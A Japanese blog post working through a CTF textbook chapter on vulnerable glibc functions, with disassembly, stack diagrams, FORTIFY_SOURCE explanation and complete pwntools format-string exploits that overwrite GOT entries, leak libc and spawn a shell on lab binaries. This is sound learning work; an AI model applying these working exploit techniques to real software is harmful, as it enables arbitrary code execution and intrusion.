=> 0x0000000000401182 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x000000000040118b <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x000000000040118f <+25>:    xor    eax,eax
   0x0000000000401191 <+27>:    lea    rax,[rip+0x2ea8]        # 0x404040 <A>
   0x0000000000401198 <+34>:    mov    QWORD PTR [rbp-0x18],rax
   0x000000000040119c <+38>:    lea    rax,[rbp-0x18]
   0x00000000004011a0 <+42>:    mov    QWORD PTR [rbp-0x10],rax
   0x00000000004011a4 <+46>:    lea    rax,[rbp-0x20]
   0x00000000004011a8 <+50>:    mov    rsi,rax
   0x00000000004011ab <+53>:    lea    rdi,[rip+0xe56]        # 0x402008
   0x00000000004011b2 <+60>:    mov    eax,0x0
   0x00000000004011b7 <+65>:    call   0x401080 <__isoc99_scanf@plt>
   0x00000000004011bc <+70>:    mov    rax,QWORD PTR [rbp-0x20]
   0x00000000004011c0 <+74>:    mov    rdi,rax
   0x00000000004011c3 <+77>:    mov    eax,0x0
   0x00000000004011c8 <+82>:    call   0x401070 <printf@plt>
   0x00000000004011cd <+87>:    mov    rax,QWORD PTR [rip+0x2e74]        # 0x404048 <B>
   0x00000000004011d4 <+94>:    mov    edx,0xcafebabe
   0x00000000004011d9 <+99>:    cmp    rax,rdx
   0x00000000004011dc <+102>:   je     0x4011e7 <main+113>
   0x00000000004011de <+104>:   lea    rdx,[rip+0xe27]        # 0x40200c
   0x00000000004011e5 <+111>:   jmp    0x4011ee <main+120>
   0x00000000004011e7 <+113>:   lea    rdx,[rip+0xe21]        # 0x40200f
   0x00000000004011ee <+120>:   mov    rcx,QWORD PTR [rip+0x2e53]        # 0x404048 <B>
   0x00000000004011f5 <+127>:   mov    rax,QWORD PTR [rip+0x2e44]        # 0x404040 <A>
   0x00000000004011fc <+134>:   mov    esi,0xdeadbeef
   0x0000000000401201 <+139>:   cmp    rax,rsi
   0x0000000000401204 <+142>:   je     0x40120f <main+153>
   0x0000000000401206 <+144>:   lea    rax,[rip+0xdff]        # 0x40200c
   0x000000000040120d <+151>:   jmp    0x401216 <main+160>
   0x000000000040120f <+153>:   lea    rax,[rip+0xdf9]        # 0x40200f
   0x0000000000401216 <+160>:   mov    rsi,QWORD PTR [rip+0x2e23]        # 0x404040 <A>
   0x000000000040121d <+167>:   mov    r8,rdx
   0x0000000000401220 <+170>:   mov    rdx,rax
   0x0000000000401223 <+173>:   lea    rdi,[rip+0xdee]        # 0x402018
   0x000000000040122a <+180>:   mov    eax,0x0
   0x000000000040122f <+185>:   call   0x401070 <printf@plt>
   0x0000000000401234 <+190>:   mov    eax,0x0
   0x0000000000401239 <+195>:   mov    rcx,QWORD PTR [rbp-0x8]
   0x000000000040123d <+199>:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000401246 <+208>:   je     0x40124d <main+215>
   0x0000000000401248 <+210>:   call   0x401060 <__stack_chk_fail@plt>
   0x000000000040124d <+215>:   leave
   0x000000000040124e <+216>:   ret
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x20 8 buf(rsp)
rbp - 0x18 8 p1
rbp - 0x10 8 p2
rbp - 0x08 8 canary
rbp

先ほどの発展編と同様に、書籍では、コマンドラインで実行していますが、ここでは、Pythonコードを書いていきます。PIE ではないので、A と B のアドレスを調べます。

$ python
Python 3.11.2 (main, May  2 2024, 11:59:08) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> bin_file = './fsb_twice'
>>> context(os = 'linux', arch = 'amd64')
>>> binf = ELF( bin_file )
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
>>>
>>> hex(binf.symbols['A'])
'0x404040'
>>>
>>> hex(binf.symbols['B'])
'0x404048'

まずは、書式文字列攻撃で、p1 が B を指すようにするため、p1 のアドレスの &p1(つまり、p2)を指定する必要があります。p2 の位置は、rsp の 2つ先なので、8番目になります。p1 には、A のアドレスとして、0x404040 が入っているので、これを、0x404048 に書き換えます(先頭の 0x48 の 1byteだけを書き換えればいい)。すると、書式文字列は %72c%8$hhn となります。

これで、p1 が B を指したはずなので、次は、0xcafeba000xcafebabe に書き換える(これも先頭 1byteだけを書き換えればいい)ために、&B(つまり、p1)を指定するので、0xbe(190)から 72 を引いて、書式文字列を %118c%7$hhn とすればいいです。

これら 2つを合わせて、%72c%8$hhn%118c%7$hhn とすればいいはずです。

実装した Pythonコードです。

#!/usr/bin/env python3
from pwn import *

bin_file = './fsb_twice'
context(os = 'linux', arch = 'amd64')

binf = ELF( bin_file )

info( f"binf.symbols['A']=0x{binf.symbols['A']:X}, binf.symbols['B']=0x{binf.symbols['B']:X}" )


def attack( proc, **kwargs ):
    
    proc.sendline( b'%72c%8$hhn%118c%7$hhn' )
    info( proc.recvall() )

def main():
    
    adrs = "shape-facility.picoctf.net"
    port = 51556
    #adrs = "localhost"
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    proc = process( bin_file )
    #proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。

うーん、うまくいきません。デバッガで見たところ、A の代わりに B を指すところは出来ていましたが、その後、B が書き換わるところが、A が be に書き換わっています。想定した順序で、書き換わってないような感じです。

$ python exploit_fsb_twice.py
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] binf.symbols['A']=0x404040, binf.symbols['B']=0x404048
[+] Starting local process './fsb_twice': pid 1816
[+] Receiving all data: Done (231B)
[*] Process './fsb_twice' stopped with exit code 0 (pid 1816)
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*]                                                                        \x01                                                                                                                     \x00
    A = 0xdeadbebe (NG)
    B = 0xcafeba00 (NG)

書籍には、こうなる理由が書かれています。printf関数に与えられた書式文字列(%72c%8$hhn%118c%7$hhn)は、前から解釈されていって、m$ が出現した時点で、引数の値を別の領域にコピーして、そこで処理を行うとのことです。つまり、スタック上の値を変えても使われないということですね。

では、どうすればいいかというと、2つの m$ を使う場合は、先に処理してほしいものについては、m$ の位置指定を使わずに、%c を並べて、位置を調整してやればいいようです(m$ が出現するまでは、普通に順次処理が行われるため)。こうすることで、2つ目の m$ を見つけた時に、先に処理してほしい方のスタックの値が書き換わっているため、想定されたように処理が行われるわけです。

では、ソースコードを修正します。

#!/usr/bin/env python3
from pwn import *

bin_file = './fsb_twice'
context(os = 'linux', arch = 'amd64')

binf = ELF( bin_file )

info( f"binf.symbols['A']=0x{binf.symbols['A']:X}, binf.symbols['B']=0x{binf.symbols['B']:X}" )


def attack( proc, **kwargs ):
    
    #proc.sendline( b'%72c%8$hhn%118c%7$hhn' )
    proc.sendline( b'%c%c%c%c%c%c%66c%hhn%118c%7$hhn' )
    info( proc.recvall() )

def main():
    
    adrs = "shape-facility.picoctf.net"
    port = 51556
    #adrs = "localhost"
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    proc = process( bin_file )
    #proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。うまくいきました!

$ python exploit_fsb_twice.py
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[*] binf.symbols['A']=0x404040, binf.symbols['B']=0x404048
[+] Starting local process './fsb_twice': pid 1927
[+] Receiving all data: Done (231B)
[*] Process './fsb_twice' stopped with exit code 0 (pid 1927)
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] \x01\x00\x00`°                                                                 @                                                                                                                     \x00
    A = 0xdeadbeef (OK)
    B = 0xcafebabe (OK)

35.2:バッファオーバーフロー

ここでは、glibc で提供されるライブラリ関数のうち、バッファオーバーフローを引き起こす可能性のある関数について、言及しています。

35.2.1:ユーザからの入力

ユーザ入力を受け付ける関数について説明されています。ユーザ入力を受け付ける関数については、いかの記事でまとめましたので、参考にしてください。

daisuke20240310.hatenablog.com

35.2.2:文字列処理

文字列を扱う関数について、注意事項が説明されています。

  • strcpy関数、stpcpy関数:代替関数として、strncpy関数、stpncpy関数が用意されています
  • strcat関数:代替関数として、strncat関数が用意されています
  • sprintf関数、vsprintf関数:代替関数として、snprintf関数、vsnprintf関数が用意されています
  • sscanf関数、vsscanf関数:第1引数の格納先バッファに strlen(str)+1 以上の容量を確保しておくこと

35.3:緩和機構

FORTIFY について、説明されています。セキュリティ機構で、いつも調べてる checksec の FORTIFY という項目がありますが、あれのことです。

FORTIFY を有効にするには、_FORTIFY_SOURCE というマクロを定義し、かつ、最適化レベルを 1以上(-O1 以上)にした状態でコンパイルします。また、_FORTIFY_SOURCE 1 とした場合は、プログラムの動作に影響を与えない範囲でチェックされ、_FORTIFY_SOURCE 2 にすると、強力にチェックされるようになります。

FORTIFY が有効になると、特定の関数が、スタックバッファオーバーフローなどがチェックされる関数に置き換わります。

書籍から提供されているプログラムバイナリが 3つあるので、実際に確認してみます。pwntools の pwn の checksec では、有効か無効かだけが表示されます。本家?の checksec では、有効/無効に加えて、Fortified は FORTIFY の機能を有効にした数、Fortifiable は FORTIFY の機能数(有効にできる関数の数)が表示されます。

今回の fortify_strcpy では、1つの関数が有効可能で、その関数が有効になっていることを示しています。

$ pwn checksec --file=fortify_strcpy
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fortify_strcpy'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

$ ~/bin/checksec --file=fortify_strcpy
RELRO          STACK CANARY  NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  Canary found  NX enabled  No PIE  No RPATH  No RUNPATH  65 Symbols  Yes      1          1            fortify_strcpy

以下は、fortify_strcpy の main関数のソースコードです。

#define _FORTIFY_SOURCE 1

#include <stdio.h>
#include <string.h>

int main(void){
    char buf[0x10];

    strcpy(buf, "aaaabbbbccccdddd");
    puts(buf);
}

以下は、fortify_strcpy の main関数のアセンブラです。strcpy が strcpy_chk に置き換わっています。strcpy関数は 2つの引数を取りますが、strcpy_chk関数に置き換わったことで、第3引数が追加されています。第3引数には、バッファサイズ(16)が設定されています。strcpy_chk関数は、バッファオーバーフローが発生するような状況になると、異常終了するような関数になっています。

0000000000401176 <main>:
  401176:       f3 0f 1e fa             endbr64
  40117a:       55                      push   rbp
  40117b:       53                      push   rbx
  40117c:       48 83 ec 28             sub    rsp,0x28
  401180:       bb 28 00 00 00          mov    ebx,0x28
  401185:       64 48 8b 03             mov    rax,QWORD PTR fs:[rbx]
  401189:       48 89 44 24 18          mov    QWORD PTR [rsp+0x18],rax
  40118e:       31 c0                   xor    eax,eax
  401190:       48 89 e5                mov    rbp,rsp
  401193:       ba 10 00 00 00          mov    edx,0x10
  401198:       48 8d 35 65 0e 00 00    lea    rsi,[rip+0xe65]        # 402004 <_IO_stdin_used+0x4>
  40119f:       48 89 ef                mov    rdi,rbp
  4011a2:       e8 d9 fe ff ff          call   401080 <__strcpy_chk@plt>
  4011a7:       48 89 ef                mov    rdi,rbp
  4011aa:       e8 b1 fe ff ff          call   401060 <puts@plt>
  4011af:       48 8b 44 24 18          mov    rax,QWORD PTR [rsp+0x18]
  4011b4:       64 48 33 03             xor    rax,QWORD PTR fs:[rbx]
  4011b8:       75 0c                   jne    4011c6 <main+0x50>
  4011ba:       b8 00 00 00 00          mov    eax,0x0
  4011bf:       48 83 c4 28             add    rsp,0x28
  4011c3:       5b                      pop    rbx
  4011c4:       5d                      pop    rbp
  4011c5:       c3                      ret
  4011c6:       e8 a5 fe ff ff          call   401070 <__stack_chk_fail@plt>
  4011cb:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

他にも、printf関数については、代わりに printf_chk関数に置き換わり、変換指定子の n を検知したり、不正なインデックスが指定されると異常終了する対応がされていることが紹介されています。

35.4:実践問題

問題としては、次のプログラムでシェルを起動してください、というものです。ヒントとしては、「繰り返し書式文字列攻撃ができるようにする」ということと、「与えられる文字数の上限に気を付ける」とのことです。

ソースコードと、プログラムバイナリと、エクスプロイトコードが提供されています。

まず、ソースコードです。ユーザが入力した文字列を表示してるだけです。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void){
    char buf[0x30] = {};

    setbuf(stdout, NULL);

    puts("Input message");
    read(STDIN_FILENO, buf, sizeof(buf));
    printf(buf);
    exit(0);
}

表層解析を行います。FORTIFY は無効ですね。

$ file chall_vulnfunc
chall_vulnfunc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86643e5d8e21c8b21eb445b5ce84656205fb9cf9, for GNU/Linux 3.2.0, not stripped

$ pwn checksec --file=chall_vulnfunc
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/vulnfunc/chall_vulnfunc'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

$ ~/bin/checksec --file=chall_vulnfunc
RELRO          STACK CANARY     NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  68 Symbols  No       0          2            chall_vulnfunc

アセンブラを確認します。

ん? Canary を保存してるように見えますね。。最後のチェックが無いので、スタックカナリヤは無効のようです。

pwndbg> disassemble
Dump of assembler code for function main:
   0x00000000004011b6 <+0>:     endbr64
   0x00000000004011ba <+4>:     push   rbp
   0x00000000004011bb <+5>:     mov    rbp,rsp
=> 0x00000000004011be <+8>:     sub    rsp,0x40
   0x00000000004011c2 <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000004011cb <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004011cf <+25>:    xor    eax,eax
   0x00000000004011d1 <+27>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004011d9 <+35>:    mov    QWORD PTR [rbp-0x38],0x0
   0x00000000004011e1 <+43>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004011e9 <+51>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004011f1 <+59>:    mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004011f9 <+67>:    mov    QWORD PTR [rbp-0x18],0x0
   0x0000000000401201 <+75>:    mov    rax,QWORD PTR [rip+0x2e48]        # 0x404050 <stdout@@GLIBC_2.2.5>
   0x0000000000401208 <+82>:    mov    esi,0x0
   0x000000000040120d <+87>:    mov    rdi,rax
   0x0000000000401210 <+90>:    call   0x401090 <setbuf@plt>
   0x0000000000401215 <+95>:    lea    rdi,[rip+0xde8]        # 0x402004
   0x000000000040121c <+102>:   call   0x401080 <puts@plt>
   0x0000000000401221 <+107>:   lea    rax,[rbp-0x40]
   0x0000000000401225 <+111>:   mov    edx,0x30
   0x000000000040122a <+116>:   mov    rsi,rax
   0x000000000040122d <+119>:   mov    edi,0x0
   0x0000000000401232 <+124>:   call   0x4010b0 <read@plt>
   0x0000000000401237 <+129>:   lea    rax,[rbp-0x40]
   0x000000000040123b <+133>:   mov    rdi,rax
   0x000000000040123e <+136>:   mov    eax,0x0
   0x0000000000401243 <+141>:   call   0x4010a0 <printf@plt>
   0x0000000000401248 <+146>:   mov    edi,0x0
   0x000000000040124d <+151>:   call   0x4010c0 <exit@plt>
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x40 48 buf(rsp)
rbp - 0x10 8 空き
rbp - 0x08 8 canary?
rbp

No PIE なので、main関数のアドレスはすぐ分かります。exit関数の GOT Overwrite で、main関数にジャンプが出来れば、何度も書式文字列攻撃することは実現できそうです。スタックカナリヤが無効なので、リターンアドレスを書き換えて main関数に戻れるかな、と思いましたが、exit関数を対処しないとプログラムが終了してしまいますね。

GOT と system関数のアドレスを確認します。printf関数の実行直前で確認しているので、printf関数と、exit関数は、遅延バインドにより、まだ実行されてないので、アドレスは libc のアドレスではないですね。

これは助かります。buf が 48byte しかないため、書式文字列攻撃で書き換える場所が少なくて済みます。main関数のアドレスを調べると、0x4011b6 だったので、2byte を書き換えるだけで済みます。

pwndbg> got
Filtering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /home/daisuke/svn_/experiment/shokai_security_contest/files/pwnable/99_challs/vulnfunc/chall_vulnfunc:
GOT protection: Partial RELRO | Found 5 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7236d8280e50 (puts) ◂— endbr64 
[0x404020] setbuf@GLIBC_2.2.5 -> 0x7236d8287fe0 (setbuf) ◂— endbr64 
[0x404028] printf@GLIBC_2.2.5 -> 0x7236d82606f0 (printf) ◂— endbr64 
[0x404030] read@GLIBC_2.2.5 -> 0x7236d83147d0 (read) ◂— endbr64 
[0x404038] exit@GLIBC_2.2.5 -> 0x4011b6 (main) ◂— endbr64 

あとは、書式文字列攻撃のアドレスリークで、libc のアドレスを計算して、さらに書式文字列攻撃の GOT Overwrite で、system関数を呼ぶ感じでしょうか。

ここで、以前に書いた、以下の記事の実践問題を思い出してみます。この手法が使えるとシェルが取れます。

このときも同じように main関数を何度も実行するようにしたエクスプロイトでした。1回目の main関数では、stack_chk_fail関数の GOT を書き換えて、ROP で、libc の setbuf関数のアドレスを printf関数で出力させて、main関数に飛ばしてます。2回目の main関数では、出力された libc の setbuf関数のアドレスから、libc 内にある /bin/sh の文字列のアドレスと、system関数のアドレスが求まるので、次の ROP で、シェルを取っています。

このときは、ソースコード自体が、GOT Overwrite を行える実装になっていました。今回は、書式文字列攻撃で、ROP に飛ばしてやる必要があります。

daisuke20240310.hatenablog.com

問題は RSP の位置の調整のところです。書式文字列攻撃で buf の領域を多く使ってしまうので、その後ろの ROP のコードは、RSP から、だいぶ離れた位置になります。この手法では、pop r12、r13、r14、r15 の 4回の pop で ROPコードまで、RSP を移動させていますが、、、うーん、今回の問題に適用するのは無理ですね。

それでは、やはり、書式文字列攻撃のアドレスリークと、書式文字列攻撃の GOT Overwrite の方法で考えます。アドレスリークはおそらく出来ると思うので、GOT Overwrite の方を検討します。

system関数のアドレスを確認してみます。exit関数の GOT に格納されているアドレスが 0x401070 で、main関数のアドレスが 0x4011b6 です。書式文字列攻撃で、system関数のアドレスに書き換えようとすると、6byte を書き換えなければなりません。48byte しか使えないので、厳しいです。

pwndbg> p system
$1 = {int (const char *)} 0x7236d8250d70 <__libc_system>

あ、exit関数の GOT を書き換えなくても、setbuf関数の GOT(0x7236d8287fe0)を書き換えてもいいですね。これなら 3byte を書き換えるだけで、何とかなりそうです。いや、"/bin/sh" を引数に与えることを考えたら、printf関数の GOT を書き換えるべきですね。

  • 1回目の main関数:exit関数の GOT を main関数のアドレスに書き換える
  • 2回目の main関数:printf関数の GOT を system関数のアドレスに書き換える
  • 3回目の main関数:printf関数に "/bin/sh" を与えて、シェルを取る

では、エクスプロイトコードを実装していきます。

#!/usr/bin/env python3
from pwn import *

bin_file = './chall_vulnfunc'
context(os = 'linux', arch = 'amd64')

binf = ELF( bin_file )

addr_main       = binf.functions['main'].address
addr_got_exit   = binf.got['exit']
addr_got_setbuf = binf.got['setbuf']

libc = binf.libc
offset_libc_setbuf = libc.functions['setbuf'].address
offset_libc_system = libc.functions['system'].address

def attack( proc, **kwargs ):
    
    # GOT Overwrite
    # ・書式文字列攻撃で、exit関数のGOTにmain関数のアドレスを書き込む
    # ・No PIEなので、got['exit'](0x404038)に、main関数(0x4011b6)を書き込む
    # ・0x11(17)、0x40(64)-17=47、0xb6(182)-17-64=101
    # ・bufは48byteなので、3回に分けると入らない → 最初に0xb6(182)を書いて、次に0x1140(4416)を書く
    # ・GOTを確認すると、exit関数は実行前なので、0x401770になってた → 2byte書き込みでいい
    # ・0x11(17)、0xb6(182)-17=165
    info( proc.sendafter( b'Input message', b'%17c%10$hhn%165c%11$hhn'.ljust(0x20, b' ') + p64(binf.got['exit'] + 1) + p64(binf.got['exit']) ).decode() )
    
    # setbuf関数のアドレスをリーク
    info( proc.sendafter( b'Input message', b'%8$s'.ljust(0x10, b' ') + p64(binf.got['setbuf']) ) )
    proc.recv(1) # \n
    addr_libc_setbuf = u64( proc.recv(6) + b'\x00\x00' )
    addr_libc_base   = addr_libc_setbuf - offset_libc_setbuf
    addr_libc_system = addr_libc_base + offset_libc_system
    info( f"addr_libc_setbuf={addr_libc_setbuf:#x}, addr_libc_base={addr_libc_base:#x}, addr_libc_base={addr_libc_base:#x}, addr_libc_system={addr_libc_system:#x}" )
    
    # GOT Overwrite
    # ・書式文字列攻撃で、printf関数のGOTにsystem関数のアドレスを書き込む
    # ・ASLRでアドレスは変わるが、got['printf'](0x7236d82606f0)に、system関数(0x7236d8250d70)を書き込む
    # 下位3byteを書き換えるが、2byteの取り方で2通りあるが、値の小さい方を選ぶ
    # さらに、2byteの方が1byteより値が小さかった場合を考慮して分岐する
    tmp1 = (addr_libc_system >> 8) & 0x00FFFF
    tmp2 = addr_libc_system & 0x00FFFF
    if tmp1 > tmp2:
        tmp3 = (addr_libc_system >> 16) & 0x0000FF
        info( f"addr_libc_system: 1byte {tmp3:#x}, 2byte {tmp2:#x}" )
        if tmp2 > tmp3:
            atk = f"%{tmp3}c%10$hhn%{tmp2-tmp3}c%11$hn".encode()
            info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf'] + 2) + p64(binf.got['printf']) ).decode() )
        else:
            atk = f"%{tmp2}c%10$hn%{tmp3-tmp2}c%11$hhn".encode()
            info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf']) + p64(binf.got['printf'] + 2) ).decode() )
    else:
        tmp3 = addr_libc_system & 0x0000FF
        info( f"addr_libc_system: 2byte {tmp2:#x}, 1byte {tmp3:#x}" )
        if tmp2 > tmp3:
            atk = f"%{tmp3}c%10$hhn%{tmp2-tmp3}c%11$hn".encode()
            info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf']) + p64(binf.got['printf'] + 1) ).decode() )
        else:
            atk = f"%{tmp2}c%10$hn%{tmp3-tmp2}c%11$hhn".encode()
            info( proc.sendafter( b'Input message', atk.ljust(0x20, b' ') + p64(binf.got['printf'] + 1) + p64(binf.got['printf']) ).decode() )
    
    info( proc.sendafter( b'Input message', b'/bin/sh' ) )

def main():
    
    adrs = "shape-facility.picoctf.net"
    port = 51556
    #adrs = "localhost"
    #port = 4000
    
    #proc = gdb.debug( bin_file )
    proc = process( bin_file )
    #proc = remote( adrs, port )
    
    attack( proc )
    proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。シェルが取れました、成功です!

$ python tmp.py 
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/99_challs/vulnfunc/chall_vulnfunc'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] Starting local process './chall_vulnfunc': pid 1804
[*] Input message
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] 
                                                                                                                                                                                         0         9@@Input message
[*] addr_libc_setbuf=0x7fde2cff02c0, addr_libc_base=0x7fde2cf72000, addr_libc_base=0x7fde2cf72000, addr_libc_system=0x7fde2cfbe490
[*] addr_libc_system: 1byte 0xfb, 2byte 0xe490
[*]              @@Input message
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] 
                                                                                                                                                                                                                                                              \x00 
                                                                                                                                                                         0       *@@Input message
[*] Switching to interactive mode

$ ls
chall_vulnfunc    core             exploit_vulnfunc_mine.py
chall_vulnfunc.c  exploit_vulnfunc.py  tmp.py

書籍では、エクスプロイトコードが提供されているので、その Pythonコードを見てみます。

最初は、exit関数の GOT を main関数のアドレスで書き換えており、同じことをやっています。あ、\n を含めて、sendafter関数を使うんですね、なるほどです。

次は、libc のアドレスを求めています。その方法は、レジスタに read関数の途中のアドレスが入ってるということで、それを使っているようです。使ってるものは違いますが、まぁ、やってることは同じようなことです。

最後のシェルを取るところも、書式文字列攻撃で、printf関数の GOT を system関数で書き換えており、同じです。ただ、私は 4つのパターンとも実装しましたが、こちらでは、1パターンだけでした。1回失敗しても、やり直せばいいということですかね。

#!/usr/bin/env python3
from pwn import *

bin_file = './chall_vulnfunc'
context(os = 'linux', arch = 'amd64')
# context(terminal = ['tmux', 'splitw', '-v'])
# context.log_level = 'debug'

binf = ELF(bin_file)
addr_main           = binf.functions['main'].address
addr_got_exit       = binf.got['exit']
addr_got_printf     = binf.got['printf']

libc = binf.libc
offset_libc_read    = libc.functions['read'].address

def attack(conn, **kwargs):
    overwrite = {addr_got_exit : addr_main}
    exploit = fmtstr_payload(6, overwrite, numbwritten = 0, write_size = 'short')
    conn.sendafter('message\n', exploit)

    conn.sendlineafter('message\n', '%3$p')
    addr_libc_read = int(conn.recvline(keepends=False), 16) - 0x12
    libc.address = addr_libc_read - offset_libc_read
    info('addr_libc_base = 0x{:08x}'.format(libc.address))
    addr_libc_system    = libc.functions['system'].address

    exploit  = '%{}c'.format((addr_libc_system >> 16) & 0xff)
    exploit += '%10$hhn'
    exploit += '%{}c'.format((addr_libc_system & 0xffff) - ((addr_libc_system >> 16) & 0xff))
    exploit += '%11$hn'
    exploit  = exploit.ljust(0x20, 'x').encode()
    exploit += flat(addr_got_printf+2, addr_got_printf) # 10, 11
    conn.sendafter('message\n', exploit)
    conn.sendafter('message\n', '/bin/sh')

def main():
    # conn = gdb.debug(bin_file)
    conn = process(bin_file)
    attack(conn)
    conn.interactive()

if __name__=='__main__':
    main()

おわりに

今回も、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。なかなか難しかったです。いくつか知らないことがたくさん出てきたので、勉強になりました。

次回は、ようやく、目的のヒープベースエクスプロイトです。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/shokai_vulnfuncより取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14